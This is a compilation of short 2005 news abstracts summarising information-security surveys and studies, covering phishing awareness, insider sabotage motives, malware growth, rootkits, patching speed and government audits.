Lax firewall security is leaving companies open to the installation of malicious software on their internal networks, a newly published Harris poll has warned. Fewer than half of companies block executable files from the Internet, and the same percentage fail to prevent such software coming in via instant messaging. Some 40 percent do not even block executables in email, the major cause of virus infections. The phishing threat was highlighted in the research as a major problem. Over 80 percent of those questioned indicated that their company had received phishing emails, and 45 percent said that employees had clicked through to the bogus websites. Lack of awareness is key to this problem, according to the poll. Two thirds of employees claimed not to know what phishing is, and half of all companies admitted to having no Internet security training.

Category 31.1 *Surveys, studies, audits of security*

2005-05-17 **study Department Homeland Security revenge reason computer sabotage sociological psychological factors**

DHS IAIP Daily; http://www.informationweek.com/story/showArticle.jhtml?artic leID=163104819

DHS STUDY: REVENGE IS OFTEN THE REASON FOR COMPUTER SABOTAGE

Corporate insiders who sabotage computers so sensitive they risk endangering national security or the economy commonly are motivated by revenge against their bosses, according to a Department of Homeland Security (DHS) funded study released Monday, May 16. The study, conducted by the U.S. Secret Service and the U.S.-funded CERT Coordination Center at Carnegie Mellon University, examined dozens of computer-sabotage cases over six years to determine what motivates trusted insiders to attack and how their actions damage the country's most sensitive networks and data. The review described most attackers as disgruntled workers or former employees--typically working in technology departments--who were angry over disciplinary actions, missed promotions, or layoffs. The attacks included deleting vital software or data, posting pornography on an employer's Website, or crippling whole networks. The study said most saboteurs showed troubling signs before the attacks: truancy, tardiness, arguments with co-workers, or shoddy performance. Nearly all the employees took some steps to conceal their identities online as they plotted their attacks. All the attacks studied occurred between 1996 and 2002. The study said it did not examine insider attacks where employees sought to steal information to sell for profit or blackmail. Report: http://www.cert.org/archive/pdf/insidercross051105.pdf

---

Category 31.1 Surveys, studies, audits of security

2005-05-19 **Juniper Network study Internet Protocol IPv6 interest lagging**

DHS IAIP Daily; http://www.informationweek.com/story/showArticle.jhtml?articleID=163105617

INTEREST IN IPV6 LAGGING

Although it has been in the works for a decade, the next-generation Internet protocol IPv6 has failed to excite the interest of key decision makers in the federal government and private sector, according to a survey by equipment vendor Juniper Networks. Juniper's Federal IPv6 IQ Study found that less than 7% of respondents consider IPv6 "very important to achieving their IT goals," despite the fact that the protocol is designed to address, among other things, many of the quality of service, security, and network management issues that concern them. The Federal government is particularly indifferent to IPv6 and lags well behind the private sector in migration planning and awareness. Published by the Internet Engineering Task Force in RFC2460 in 1995, IPv6 provides a larger IP address space and provides native support for packet encryption, header authentication, Ipsec virtual private networking, multicasting and dynamic address configuration. Study: http://www.juniper.net/federal/IPv6/

Category 31.1 Surveys, studies, audits of security

2005-06-01 **survey study audit US Internet users exploitation risk fraud phishing privacy policy**

DHS IAIP Daily; http://www.computerworld.com/securitytopics/security/story/0,10801,102155,00.html

STUDY: U.S. INTERNET USERS AT RISK FOR ONLINE EXPLOITATION

U.S. Internet users are dangerously ignorant about the type of data that Website owners collect from them and how that data is used, according to a new study by the University of Pennsylvania's Annenberg Public Policy Center. The lack of awareness makes U.S. Internet users vulnerable to online exploitation, such as misuse of personal information, fraud and overcharging, the study said. Titled "Open to Exploitation: American Shoppers Online and Offline," the study involved 1,500 adult U.S. Internet users who were asked true-or-false questions about topics such as Website privacy policies and retailers' pricing schemes. Respondents on average failed the test. According to the authors, some alarming findings include: seventy-five percent of respondents wrongly believe that if a Website has a privacy policy, it won't share their information with third parties and that almost half of the respondents couldn't identify "phishing" scam e-mailmessages. To address the problems identified by the study, the authors proposed replacing the term "Privacy Policy" with "Using Your Information," teaching consumer education and media literacy taught in elementary, middle and high schools in the U.S., and requiring online retailers to disclose what data they have collected about customers. Study: http://www.annenbergpublicpolicycenter.org/04_info_society/Turow_%20APPC_Press_Release_WEB_FINAL.pdf

---

Category 31.1 Surveys, studies, audits of security

2005-06-08 **US Army Fort Hood base information security problem consolidation**

DHS IAIP Daily; http://www.fcw.com/article89132−06−08−05−Web

CYBERSECURITY PLAGUES FORT HOOD ARMY BASE

Fort Hood, TX, the largest Army base in the world and home of the 4th Infantry Division -- the service's first digitized force -- has a huge information security problem, said Major General Dennis Moran, the Army's director of information operations, network and space in the Office of the Chief Information Officer. He spoke June 8 at the Army Information Technology Conference sponsored by the Army Small Computer Program. Some Army IT leaders think the best way to solve the information security problem at Fort Hood is to operate IT as an enterprise. For example, the base has 96 domains on the military's unclassified network. Consolidating e-mail, servers and storage systems would improve network management, operations and security, Moran said. But Fort Hood technology workers resisted the consolidation idea. The Army's IT leaders must resolve the tension between the Army's need to operate IT as an enterprise and IT workers' unique requirements at bases, Moran said.

Category 31.1 *Surveys, studies, audits of security*

2005-06-14 **Web Internet browser attacks increase virus decrease**

DHS IAIP Daily; http://news.com.com/Browser−based+attacks+increase+as+viruse s+decrease/2100−7349_3−5747050.html

BROWSER-BASED ATTACKS INCREASE AS VIRUSES DECREASE

As the threat to IT operations by viruses and worms dips, browser-based attacks are increasing, according to a technology trade organization. The Computing Technology Industry Association, or CompTIA, on Tuesday, June 14, released its third annual report on IT security and the work force. The survey of nearly 500 organizations, found that 56.6 percent had been the victim of a browser-based attack, up from 36.8 percent a year ago and a quarter two years ago, CompTIA said. Browser-based attacks often take advantage of security flaws in Web browsers and other components of the user's PC such as the operating system. The attackers' objective can be to sabotage a computer or steal private data, and the attacks can be launched when a person visits a Web page that appears harmless but contains malicious code. Still, viruses and worms continue to be the number one IT security threat, though the number of these attacks has dipped slightly. Two-thirds of organizations reported they had experienced such attacks in the past year, down slightly from 68.6 percent a year ago. Study Press Release: http://www.comptia.org/pressroom/get_pr.aspx?prid=620

Category 31.1 *Surveys, studies, audits of security*

2005-06-14 **survey study security hackers Web Internet browser attacks phishing personal information theft viruses worms**

EDUPAGE; http://news.com.com/2100-7349_3-5747050.html

SURVEY SHOWS MORE BAD GUYS TURNING TO BROWSER ATTACKS

According to a new survey by the Computing Technology Industry Association (CompTIA), the incidence of browser-based attacks rose sharply last year, while that of viruses and worms fell slightly. Browser-based attacks exploit the naivety of computer users, as in the case of phishing attacks, or technical vulnerabilities in browser or operating system software. Phishing scams work by fooling users into disclosing private information; other attacks attempt to download malicious code to the computers of visitors to a Web site to steal information or take control of the computer. According to CompTIA's survey of nearly 500 organizations, 56.6 percent have been targets of browser-based attacks, up from 36.8 percent one year ago. Viruses and worms continue to head the list of computer security threats, at 66 percent, which is just down from last year's number of 68.6 percent. CNET, 14 June 2005

Category 31.1 *Surveys, studies, audits of security*

2005-06-15 **security survey poll US citizens government Internet safer**

DHS IAIP Daily; http://www.washingtonpost.com/wp−dyn/content/article/2005/06 /15/AR2005061500175.htm

POLL: MOST AMERICANS WANT U.S. GOVERNMENT TO MAKE INTERNET SAFE

Most Americans believe the government should do more to make the Internet safe, but they don't trust the federal institutions that are largely responsible for creating and enforcing laws online, according to a new industry survey. People who were questioned expressed concerns over threats from identity theft, computer viruses and unwanted "spam" e-mails. But they held low opinions toward Congress and the Federal Trade Commission, which protects consumers against Internet fraud. The FBI scored more favorably among Internet users in the survey but still lower than technology companies. The survey was funded by the Washington-based Cyber Security Industry Alliance. "There are some mixed signals here," said Paul Kurtz, the group's executive director and a former White House cybersecurity official. "There is definitely a desire to see government provide more leadership, but there is some anxiety about what ultimately might come out." The survey said 71 percent of people believe Congress needs to pass new laws to keep the Internet safe. Survey: https://www.csialliance.org/resources/pdfs/CSIA_Survey_on_Spyware_and_Identity_Theft_White_Paper.PDF

Category 31.1 Surveys, studies, audits of security

2005-06-16 **US government audit survey study report agency security flaws failures weaknesses risk management summary**

RISKS; http://www.gao.gov/cgi-bin/getrpt?GAO-05-231 23 91

GAO SURVEY OF US GOVERNMENT AGENCY SECURITY FAILURES

Al Macintyre reported:

>The GAO surveyed what passes for computer security at scores of US Government agencies, and conducted some tests to see what is needed. This investigative arm of the US Congress determined that the fast majority of US Gov agencies are oblivious to most of the threats, detailing what they found in a 79 page report
http://www.gao.gov/cgi-bin/getrpt?GAO-05-231
with a 1 page summary
http://www.gao.gov/highlights/d05231high.pdf

Your pal Al read through the whole story and wrote up a 5 page summary which you can find in the archives of other discussion groups
http://groups.yahoo.com/group/e-com-sec/message/1729
http://groups.yahoo.com/group/TYR/message/23897
http://groups.yahoo.com/group/VeeWire/message/2736

<

Category 31.1 Surveys, studies, audits of security

2005-06-24 **survey IT managers gain core passwords easily**

DHS IAIP Daily; http://news.bbc.co.uk/1/hi/business/4618691.stm

COMPUTER PASSWORDS 'UP FOR GRABS' ACCORDING TO IT SECURITY FIRM

Half of IT managers employed by large-sized companies believe it would be relatively easy to gain the core passwords for their computer systems. That is the warning of a survey by IT security firm, Cyber-Ark. It said that ten percent of firms never changed their central administrative passwords. A further five percent did not even bother altering the manufacturer's default password that came with the system. The survey also found one IT boss who kept all passwords on his mobile phone. Less than a third of IT managers store key passwords digitally, the survey of 175 IT professionals revealed. The remainder continued to keep paper copies, stored everywhere from locked cabinets to safes. About 25% of IT staff could, as a result, access the core passwords without official permission, the survey said. The survey found that IT managers estimate 19% of general staff in their firms still keep their passwords on notepaper beside their computers. Cyber-Ark Press Release: http://www.cyber-ark.com/networkvaultnews/pr_20050608.htm

---

Category 31.1 Surveys, studies, audits of security

2005-06-28 **study security executives under pressure under-prepared difficult job**

DHS IAIP Daily; http://www.esecurityplanet.com/trends/article.php/3516156

SECURITY EXECUTIVES: UNDER PRESSURE AND UNDER-PREPARED

A new survey of corporate security executives shows that their jobs are more difficult to handle than just a year ago, and they're not prepared to handle some significant security issues. Nearly 100 percent of CSOs say they are well prepared to handle spam, malware, denial-of-service attacks, and hacker attacks, according to a survey by CSO Interchange at a conference held last week in Chicago, IL, for chief security officers. However, 88 percent say their organizations are least prepared to handle inadvertent loss of data, social engineering and inappropriate use. The survey also shows that sixty-four percent of CSOs are more concerned about compliance this year than they were last year, and 38 percent report their budget for compliance solutions grew during the past year; seventy-four percent say their organization must comply with more than five laws and regulations; sixty-eight percent say their security budget is less than 10 percent of their total IT budget; eighty-three percent outsource less than 10 percent of their security, and 40 percent do not outsource security processes at all, and seventy percent say they do not receive sufficient early warning for cyber attacks. Survey results: http://www.csointerchange.org/docs/2005-06-24-chicago-pollin g-results.pdf

---

Category 31.1 Surveys, studies, audits of security

2005-07-05 **study malicious code spike 2005 Sophos professional crimes Trojan horses**

EDUPAGE; http://news.com.com/2100-7349_3-5774841.html

MALWARE MUSHROOMS TO NEW LEVELS

Incidents involving malicious computer code have spiked this year, according to computer security firm Sophos, which attributes the sharp rise to growing numbers of professional criminals who are using the Internet to make money. The company said it has tracked nearly 8,000 new varieties of malware in the first six months of the year, an increase of 60 percent over the same period last year. Graham Cluley, senior technology consultant at Sophos, noted that the trend in malware has been toward Trojan horses and away from viruses and worms. Trojan horses can allow hackers to access information on a compromised system or to take over the system completely. It is these Trojans, said Cluley, that criminals are using to make money from unsuspecting users. Although Microsoft products remained at the top of the list of most frequently targeted applications, Cluley said malware is also being written to take advantage of Linux, UNIX, and Mac systems. CNET, 5 July 2005

Category 31.1 Surveys, studies, audits of security

2005-07-08 **communications program information warfare battlespace software quality assurance QA problems failures challenges schedule report investigation network**

RISKS; http://www.gcn.com/vol1_no1/daily-updates/36302-1.html 23 93

GAO REPORT SLAMS US ARMY'S FUTURE COMBAT SYSTEMS NETWORKS PROJECTS

The major communications programs that will support the Army's transformational Future Combat Systems initiative are in jeopardy of failing to meet technical challenges and an accelerated schedule, according to the Government Accountability Office. GAO found that each of the communications pillars of the Army's Future Combat Systems (FCS) program - two Joint Tactical Radio System (JTRS) clusters, the Warfighter Information Network-Tactical (WIN-T) program and the System of Systems Common Operating Environment (SOSCOE) - would likely fail to meet aggressive schedules due to immature technologies.

"As currently structured, the JTRS, WIN-T and SOSCOE programs are at risk of not delivering intended capabilities when needed, particularly for the first spiral of FCS," according to GAO. "They continue to struggle to meet an ambitious set of user requirements, steep technical challenges and stringent time frames."

FCS is designed to link 18 manned and unmanned weapons systems via a common computer network known as WIN-T and the System of Systems Common Operating Environment.

The Army restructured its FCS program last year into spirals, with officials announcing the first spiral would happen in fiscal 2008. But GAO said the first spiral may not demonstrate key networking capabilities.

GAO found the FCS program faces network, developmental and financial challenges that continue to slow progress. FCS' information network is dependent on the success of JTRS, WIN-T and SOSCOE - programs that are not included in FCS costs.

"Because JTRS, WIN-T and SOSCOE all rely on significant advances in current technologies and capabilities and must be fully integrated to realize FCS, there are substantial risks to this effort," wrote Paul L. Francis, GAO's director of acquisition and sourcing management, in the report.

[Abstract by Pete Mellor]

Category 31.1 Surveys, studies, audits of security

2005-07-18 **study cyber attack damages drop CSI FBI**

EDUPAGE; http://www.theregister.com/2005/07/18/csi_fbi_security_survey/

STUDY SHOWS DROP IN DAMAGES FROM CYBER ATTACKS

A new study shows a significant drop in the amount of damage caused by cyber attacks as well as a shift in the kinds of attacks that are most commonly reported. Researchers from the University of Maryland conducted the Computer Crime and Security Survey on behalf of the Computer Security Institute (CSI), with consultation from security experts at the FBI. The survey questioned IT security officials at 700 private companies, governmental agencies, and universities and found that the average cost per security incident was $204,000, down from $526,000 a year earlier. Viruses remain the most frequent type of attack (32 percent), but unauthorized access rose to second on the list at 24 percent. Chris Keating, director of CSI, noted that schemes to steal individuals' identities are a growing concern. The survey, he said, indicates "more financial damage due to theft of sensitive company data," a trend that should press network managers to ensure the security of enterprise systems. The Register, 18 July 2005

Category 31.1 *Surveys, studies, audits of security*

2005-07-26 **spyware unauthorized communication phone home data leakage confidentiality control surveillance malicious software malware survey bandwidth**

RISKS; http://www.theregister.co.uk/2005/07/25/spyware_screening/ 23 95

SPYWARE GETTING WORSE: VOLUME & STEALTH INCREASING

Outbound spyware transmissions from infested machines accounted for up to eight per cent of total outbound web traffic in pilot tests of a new managed spyware screening service. UK web security firm ScanSafe said the volume of traffic observed during a 10-week pilot test of its Spyware Screening service showed that spyware applications are becoming stealthier in their ability to hide their outbound 'covert' channels among normal web traffic. That's bad news because data sent when spyware "calls-home" can include confidential and even privileged information.

Spyware now accounts for around 20 per cent of web-based threats, which includes other malware such as worms and Trojans, and is still on the increase, according to ScanSafe. The firm said malware such as CoolWebSearch, which hides on an infected client using newly developed root-kit architecture, often evades detection.

[Abstract by Peter G. Neumann]

Category 31.1 *Surveys, studies, audits of security*

2005-07-27 **national policy reports recommendations telework research development children education awareness ethics**

RISKS; http://www.csialliance.org 23 95

THREE REPORTS FROM THE COMPUTER SECURITY INDUSTRY ALLIANCE

Gene Spafford ("Spaf") noted that the Computer Security Industry Alliance issued three reports of possible interest:

* CSIA Calls for Increased Adoption of Telework by the Federal Government: Cites Need to Ensure Continuity of Federal Operations in a Disaster
https://www.csialliance.org/resources/pdfs/CSIA_Telework.pdf

* CSIA Urges the Administration and Congress to Elevate Cyber Security and Research & Development Efforts: CSIA voices concern over the dissolution of a Presidential committee focused on information security issues and calls for a national vision for cyber security R&D.
Https://www.csialliance.org/resources/pdfs/CSIA_RD.pdf

* CSIA Calls for a National K-12 Cyber Awareness Program: A Focused, Organized National Effort is Needed to Teach Children Cyber Security, Cyber Ethics and Cyber Safety.
https://www.csialliance.org/resources/pdfs/K12_White_Paper.pdf

---

Category 31.1 *Surveys, studies, audits of security*

2005-08-03 **business encryption roll out trend key management complexity survey**

DHS IAIP Daily;
http://www.techworld.com/security/news/index.cfm?NewsID=4150
&Page=1&pagePos=2

KEY MANAGEMENT HOLDING BACK ENCRYPTION

Businesses are keener than ever to roll out data encryption, but are still struggling with the complexity of key management, a new survey has concluded. The survey was carried out by UK encryption specialist nCipher, sampling 237 "decision makers" at large enterprises across the globe. The main problem appears to be key management with nine percent of those surveyed having more than 10,000 keys on servers, and 11 percent having the same number on desktops. Further down the scale, 16 percent had 1,000 keys on servers, with almost a quarter having the same number of desktops. Underscoring this issue, 31 percent of managers with 500 or more keys in their organizations admitted they knew little or nothing about available key management systems. The survey found that encryption is rapidly becoming a mainstream technology, with its use now mandated across a wide range of applications. Drivers included government legislation, and private sector date protection standards developed by groups such as the Payment Card Industry. Survey: http://www.ncipher.com/crypto2005

Category 31.1 *Surveys, studies, audits of security*

2005-09-01 **study colleges higher education university computer security concerns vulnerabilities**

EDUPAGE; http://www.csmonitor.com/2005/0901/p12s02-legn.html

COLLEGES DEALING WITH COMPUTER SECURITY CONCERNS

As the number of computers on college campuses rises, and as IT becomes increasingly rooted in campus activities, higher education officials find themselves facing expanding numbers and kinds of threats to vulnerabilities in computer security. According to the Privacy Rights Clearinghouse (PRC), 50 million people have been involved in data breaches over the past seven months, including more than 30 incidents on U.S. college and university campuses. Complicating the challenge to IT security staff is the historically open nature of academic settings, a characteristic often at odds with strong computer security. Another factor making life difficult for IT staff are the computers that students bring to campus with them, often with inadequate or poorly configured security features. Jack Suess, vice president of information technology at the University of Maryland Baltimore County, however, noted that of the 11,000 to 12,000 computers on his campus this year, "there's probably only 200 or 250 I'm really worried about." Christian Science Monitor, 1 September 2005

Category 31.1 *Surveys, studies, audits of security*

2005-09-06 **online banking e-commerce stalling hacker cracking survey study**

EDUPAGE; http://news.com.com/2100-1038_3-5851061.html

GROWTH OF ONLINE BANKING STALLS AMID HACKING FEAR

A new survey by Ipsos Insight shows that the number of people who use the Internet for banking has reached a plateau, but that those who do their banking online are conducting growing numbers of transactions. According to the survey, roughly 39 percent of Americans use the Internet for personal banking--the same number as a year ago. Concern over online security for personal information was identified as a leading reason why more people are not turning to the Web for banking. Survey respondents expressed concerns about the possibility of hackers stealing sensitive information, about online scams that dupe users into revealing personal data, and about the practice among some banks of selling customers' personal information to third parties. Of those who conduct banking online, most are using the Web for growing numbers of financial transactions, including paying bills and managing retirement accounts, according to the survey. CNET, 6 September 2005

Category 31.1 *Surveys, studies, audits of security*

2005-09-13 **IM threats survey people unaware**

DHS IAIP Daily; http://www.webpronews.com/news/ebusinessnews/wpn−45−20050913 MostPeopleUnawareofIMThreats.html

MOST PEOPLE UNAWARE OF IM THREATS

A recent survey conducted by IMLogic found that most people unknowingly expose their computers and company networks to security threats. The survey found that the 78% of uses belive there is no threat in instant messaging. In addition, 45% of users use IM at work because they believe their communication is unmonitored.

Category 31.1 *Surveys, studies, audits of security*

2005-10-04 **network attack tracking intrusion detection academic campus Internet comparison intelligence project Columbia University**

EDUPAGE; http://chronicle.com/daily/2005/10/2005100401t.htm

RESEARCH PROJECT WILL TRACK NETWORK ATTACKS

A research project will collect regular snapshots of computer networks from as many as 10 colleges and universities in an effort to improve protections from and responses to Internet attacks. The Information Security in Academic Institutions project, an initiative of the Columbia University Teachers College, uses monitoring technology called Dshield and has already been tested at three institutions. The other institutions in the project have yet to be named, and the system may eventually be widely available. The system will give network administrators data about the state of networks, allowing them to gain a better understanding of Internet attacks by comparing data from before, during, and after an attack. Steffani A. Burd, executive director of the project, described it as "a 360-degree view of what's going on." The system will also pool data collected from participating institutions and make it available anonymously on the Web. This aggregation of data will allow a comparison between activity on the Internet generally and what's happening at campuses. Chronicle of Higher Education, 4 October 2005 (sub. Req'd)

Category 31.1 Surveys, studies, audits of security

2005-10-24 **IT planning bird flu pandemic threat outbreak businesses Companies laptops virtual network connections office**

DHS IAIP Daily; http://www.computerweekly.com/Articles/Article.aspx?liArticleID=212598&PrinterFriendly=true

IT PLANNING VITAL TO MEET BIRD FLU PANDEMIC THREAT

To prevent a loss of IT functionality in the case of a pandemic, Gartner analyst Dion Wiggins says that it is imperative that companies start planning for a potential outbreak and to look at ways they could use IT to help their businesses continue to function. Companies are encouraged to sign contracts to ship in laptops for staff at short notice, and to provide them with secure virtual private network connections to access office systems. In addition, firms that are heavily reliant on their IT departments should split key IT staff into shifts to maintain consistent coverage. Jim Norton, senior policy adviser at the Institute of Directors, says businesses that invest in broadband and e-commerce technologies are better placed to cope with a pandemic. Business continuity experts said a flu pandemic could cause far more disruption to businesses than the last major flu outbreak in 1968, when businesses were less dependent on a small number of staff with key skills and the smooth running of the transport system for just-in-time deliveries. Gartner Press Release: http://www.gartner.com/press_releases/asset_138278_11.html

---

Category 31.1 Surveys, studies, audits of security

2005-10-31 **survey census US computer Internet usage report increase**

DHS IAIP Daily; http://www.govtech.net/news/news.php?id=97088

U.S. CENSUS BUREAU RELEASES REPORT ON COMPUTER AND INTERNET USAGE

The U.S. Census Bureau has released the "Computer and Internet Use in the United States: 2003" report. The report states that 40 percent of adults used the Internet to obtain news, weather, or sports information in 2003 -- a sharp increase from only seven percent six years earlier. Also, more than half of adults (55 percent) used e-mail or instant messaging in 2003, which is a dramatic increase from the 12 percent who did so in 1997. Report: http://www.census.gov/population/www/socdemo/computer.html

---

Category 31.1 Surveys, studies, audits of security

2005-11-02 **study cybercrime fighting strategy effectiveness lack resources Trend Micro anti-virus vendor**

DHS IAIP Daily; http://www.snpx.com/cgi−bin/news55.cgi?target=115933550?−11434

CYBERCRIME-STOPPING STRATEGIES FALL SHORT ACCORDING TO STUDY

A Trend Micro study, indicates that smaller organizations, with a lack of IT support, are not able to handle security threats effectively. Requiring them to have security measures does not mean that they will actually be able to afford it. The study said that "resource-strapped organizations" with little or no IT support face a challenge in protecting themselves from malware, or attackers. said Steve Quane, general manager of Trend Micro's small and medium business operations, states "Encounters with security threats are rising faster in smaller organizations, but these same organizations are restricted by time, cost, and available resources." Within a matter of months all DMA members using e-mail for marketing are will be going to be required to use e-mail authentication systems that verify the authenticity of all e-mail messages they send. John A. Greco, Jr., president and chief executive officer of the DMA stated, "Consumers can have more confidence they are getting a legitimate, valid offer from a trusted source. Marketers get fewer false positives, increased deliverability and better protection for their brands from illegal use. It's a win-win for everybody."

Category 31.1 Surveys, studies, audits of security

2005-11-04 **survey IT executives insider threat worry concern security**

DHS IAIP Daily; http://www.esecurityplanet.com/prevention/article.php/3561761

INSIDER THREATS GIVING IT EXECS NIGHTMARES

Sixty-nine percent of 110 senior executives at Fortune 1,000 companies say they are 'very concerned' about insider network attacks or data theft, according to a study by Caymas Systems, a network security technology firm. Only 13 percent says they are not worried at all. Sanjay Uppal, a vice president at Caymas Systems, claims 30 percent of people who come in and work on your average network every day are temporary workers. And that brings up specific threat concerns. But he also says that IT and security administrators should not forget about permanent workers and the havoc they can wreak. Uppal says insider security threats definitely need to be dealt with quickly. Uppal recommends that workers should be limited as to what parts of the network they can access. Someone working in production shouldn't be able to access financials. And someone working in the financial department, should be able to access personnel records and reviews.

Category 31.1 Surveys, studies, audits of security

2005-11-07 **study survey computer problem carelessness cause virus worm hacking data loss**

EDUPAGE; http://chronicle.com/daily/2005/11/2005110701t.htm

CARELESSNESS CITED AS FACTOR IN COMPUTER PROBLEMS

An in-depth study of more than 300 computer and network problems at 36 colleges and universities identified carelessness of students and staff as one of the leading causes of such problems. Despite widespread perceptions that issues such as viruses and loss of confidential data are largely the result of malicious behavior, those involved in the study found that careless actions by students or staff were the primary cause for 40 percent of the incidents studied. Virginia E. Rezmierski, adjunct associate professor at the University of Michigan at Ann Arbor and leader of the research, said she was surprised to learn that external factors didn't play a larger role in computer problems. Primarily, she said, the problems resulted from inadequate training to help computer users avoid trouble and from insufficient policies to deal with problems that do arise. Rezmierski said the results support her contention that many colleges and universities moved too quickly to implement IT systems without necessary "rules and policies about how we want to operate in a shared-resource environment." Chronicle of Higher Education, 7 November 2005 (sub. req'd)

Category 31.1 Surveys, studies, audits of security

2005-11-21 **survey business continuity data recovery disasters NIST new technology**

DHS IAIP Daily; http://www.gcn.com/24_33/tech−report/37577−1.html

DATA DISASTER: WHEN CONTINUITY-OF-OPERATIONS PLANS AREN'T ENOUGH

Disasters -- both natural and man-made – require that agencies ensure that data held on IT systems and devices remain accessible in order to support mission-critical operations. Continuity-of-operations plans—those that keep government going in the face of emergencies—are important, but far from foolproof. In a recent survey by Asigra Inc. of Toronto, 75 percent of respondents said their organizations had lost backed-up data because of unreadable, lost, or stolen media. Almost two-thirds of the respondents had run into unreadable backup tapes when trying to recover data. New data-handling techniques not designed for disaster recovery could apply to agencies trying to reconstruct critical information. One application being created by the National Institute of Standards (NIST) and Technology for courtroom investigations is high-resolution images of magnetic data that can tell an investigator when data has been written, erased or altered, said physicist David Pappas, project lead at NIST. The technique, called second harmonic magnetoresistive microscopy, uses powerful magnetic readers designed for server drives to image the fields on other magnetic media, such as tapes and disks. "You're actually taking a picture of the magnetic field above it, rather than just scanning it really fast and averaging the data," Pappas said.

Category 31.1 *Surveys, studies, audits of security*

2005-11-22 **report study SANS cross-platform applications network operation system hacker targets**

EDUPAGE; http://www.fcw.com/article91516-11-22-05-Web

SANS REPORT SHOWS DIRECTION OF HACKERS

A new report from the SANS Institute identified cross-platform applications and network operating systems as emerging targets for hackers. The applications cited include backup software, antivirus software, database software, and media players; operating systems for routers and other network devices were also singled out. The report, "20 Most Critical Internet Security Vulnerabilities in 2005," noted that 13 of the top 20 were in these two types of technology, which are among the least protected computer assets in many organizations. In the 2004 SANS report, neither category of technology was identified among the worst threats; the 2005 report indicates that these types of attacks account for 65 percent of the worst threats. Alan Paller, director of research at the SANS Institute, commented, "Six years ago, attackers targeted operating systems." Since then, makers of operating systems have improved protections and implemented automatic patching. "Now," he said, "the attackers are targeting popular applications, and the vendors of those applications do not do automated patching. Here we go again." Federal Computer Week, 22 November 2005

Category 31.1 *Surveys, studies, audits of security*

2005-11-22 **patching deployment fix IT department faster vulnerability assessment**

DHS IAIP Daily;
http://www.computerweekly.com/Articles/2005/11/22/213048/ITd
epartmentsgetfasteratpatchingsystems.htm

IT DEPARTMENTS GET FASTER AT PATCHING SYSTEMS

IT departments have significantly reduced the time they take to patch their systems when new security vulnerabilities, viruses, or worms become public. The average time taken for IT departments to patch half of their external-facing systems has fallen to 19 days, down from 21 days a year ago, and from 30 days two years ago, according to IT security supplier Qualys. IT departments have reduced the time taken to patch half of their internal systems from 52 days to 48 days, according to an analysis of 32 million vulnerability scans of Qualys systems. However, the research showed that 80% of security exploits appear before companies patch half of their systems. Similarly, it showed worms cause most damage within the first 15 days of an outbreak.

Category 31.1 *Surveys, studies, audits of security*

2005-12-06 **study report computer security threats 2005 increase worms viruses Trojan horses**

DHS IAIP Daily; http://www.techweb.com/wire/security/174901293

SECURITY THREATS INCREASE IN 2005

The number of new worms, viruses, and Trojan horses jumped 48 percent in 2005, a security company said Tuesday, December 6, as it detailed the year's security woes. United Kingdom-based Sophos detected nearly 16,000 new threats from January to November, 2005, a major bump from the 10,724 during the same period in 2004. Every month in 2005 posted larger-than-last-year numbers, but November, which was marked by the debut of a strong Sober.z worm, outpaced all others. By Sophos' records, 1,940 new viruses, worms, Trojans, and spyware threats were spotted last month, its largest-ever monthly increase. If that pace were to continue, the next 12 months would see 23,000 threats. Topping Sophos' top-10 chart was the long-running Zafi.d, a mass-mailed worm that made itself known almost a year ago: It accounted for 16.7 percent of all threats detected during the first 11 months of 2005. Netsky.p took second place, with 15.7 percent, while the new Sober.z came in at third, with six percent. "Given more time, Sober.z would have dominated the chart, but its emergence in late November prevented it from taking pole position," said Graham Cluley, senior technology consultant at Sophos.

Category 31.1 *Surveys, studies, audits of security*

2005-12-08 **software piracy intellectual property rights violation copyright infringement study BSA**

EDUPAGE; http://news.com.com/2100-1014_3-5987127.html

PUTTING THE NUMBERS TO SOFTWARE PIRACY

A study conducted by research firm IDC on behalf of the Business Software Alliance (BSA) indicates that as much as 35 percent of software is pirated, down only about 1 percent from last year. The study covered 70 countries, representing 99 percent of the global market for IT spending. Software piracy is significantly lower than it was in the early 1990s, when, for example, the piracy rate in Europe was nearly 80 percent. That number has fallen to 35 percent, but, according to Beth Scott, European vice president of the BSA, the current rate is still 20 times higher than losses to shoplifting. The IDC study estimates that a reduction in the piracy rate to 25 percent would lead to the generation of 2.4 million jobs and $400 billion of economic growth. Piracy remains rampant in some countries, including China (90 percent) and Russia (87 percent). The problem is so bad that China, which is one of the world's largest markets for PCs, is not on the list of top 20 global markets for software because so much software is obtained illegally. CNET, 8 December 2005

Category 31.1 *Surveys, studies, audits of security*

2005-12-08 **study malicious software malware rootkits Sony BMG XCP**

DHS IAIP Daily; http://www.vnunet.com/vnunet/news/2147301/rootkits−storm −mal ware−chart

ROOTKITS STORM MALWARE CHART

The most common rootkit is a spyware application known as Apropos, according to data collected by security experts at F-Secure. Apropos collects system information and data on a user's browsing habits and sends the information back to the application's creators. It is also capable of recording keystrokes and launching a denial of service attack, and can download and install additional software on an infected computer. Rootkits have become a mainstream phenomenon ever since Sony BMG was caught bundling one as part of the XCP anti-piracy technology on some of its audio CDs. Sony used a rootkit to hide the technology, preventing users from uninstalling the application. Hackers originally started using rootkits to build backdoors into computers, but the technology has caught a second wind in recent months as malware creators use rootkits to hide worms and spyware from antivirus and anti-spyware software. In F-Secure's ranking Apropos surpassed the Sony BMG rootkit in the number of infections.

Category 31.1 *Surveys, studies, audits of security*

2005-12-12 **research finding security expert port scan sniffing hack attacks low correlation**

DHS IAIP Daily; http://www.securitypipeline.com/news/175000553;jsessionid=M4 IGXZPVFH0JCQSNDBOCKHSCJUMEKJVN

SECURITY EXPERT FINDS PORT SCANS NOT TIED TO HACK ATTACKS

Port scanning, the practice of sniffing for computers with unprotected and open ports, isn't much of a harbinger of an attack, a University of Maryland researcher said Monday, December 12. Michel Cukier, an assistant professor at the College Park, MD,-based school, said that contrary to common thought, few port scans actually result in an attack. In fact, only about five percent of attacks are preceded by port scans alone. "But when you combine port scans with other kinds of scans, particularly vulnerability scans, there's a much higher probability of an attack," said Cukier. Nearly three-quarters of the attacks prefaced by some kind of scan came after both a port and a vulnerability scan were run against the exposed PCs, noted Cukier's report. Through his research, Cukier expected to see a higher correlation between port scanning and attacks, but the analysis also showed that it was relatively easy to spot the difference between a port scan and a more dangerous vulnerability scan simply by counting up the number of data packets received by the PC. Cukier and his researchers concluded that there seems to be no link between port scans and attacks. Cukier's research paper: http://www.enre.umd.edu/faculty/cukier/81_cukier_m.pdf

---

Category 31.1 Surveys, studies, audits of security

2005-12-15 **study information security attacks geeks squatters saboteurs insider threat**

